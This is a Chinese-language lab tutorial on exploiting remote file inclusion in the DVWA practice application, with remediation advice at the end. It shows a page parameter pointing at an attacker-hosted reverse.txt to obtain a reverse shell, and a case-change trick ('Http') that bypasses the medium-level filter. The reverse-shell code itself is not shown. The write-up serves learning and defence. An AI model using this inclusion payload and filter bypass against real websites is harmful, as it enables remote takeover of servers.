一、远程文件包含环境配置。
远程文件包含与上篇讲到的本地文件包含不同,是一种特例。
我们需要到Metasploit配置一下环境。
sudo nano /etc/php5/cgi/php.ini PHP配置文件
ctrl+w 搜索allow_url ,将allow_url_include = Off 改成On ctrl+x退出
完成后重启Web服务器
sudo etc/init.d/apache2 restart
======================================================================================================
二、远程文件包含漏洞-发现和利用
1. 创建一个reverse.txt文本文件,里面写入反弹shell的php代码如下:
2.将reverse.txt放入 /var/www/html文件夹下
3.本地浏览器访问查看
首先,kali开启web服务
然后浏览器访问:这里是txt不是php,因为我们不需要攻击主机去执行,需要的是目标服务器远程执行这条命令。
开启监听端口:
返回dvwa 文件包含那部分输入 ?page=http://192.168.164.128/reverse.txt?
监听端口成功连接,获得目标主机的控制权。
=================================================================
三、利用高级远程文件包含漏洞入侵网站。
将security level 设置为medium重复上述步骤,发现该漏洞已经修复。
报错,说明中级的防护应该做了过滤,我们试试过滤有没有对大小写进行限制。http修改成Http发现命令执行,说明过滤器对大小写不敏感,容易绕过。
查看源码发现也只是过滤了http:// https:// 所以使用过滤器并不是很好的防护,容易遗漏,过滤不全。
==========================================================================================
四、安全性-修复文件包含漏洞
1)RFI 远程文件包含漏洞解决方法:
禁止 allow_url_fopen & allow_url_include
sudo nano /etc/php5/cgi/php.ini
2)LFI 本地文件包含漏洞解决方法:
使用静态的文件包含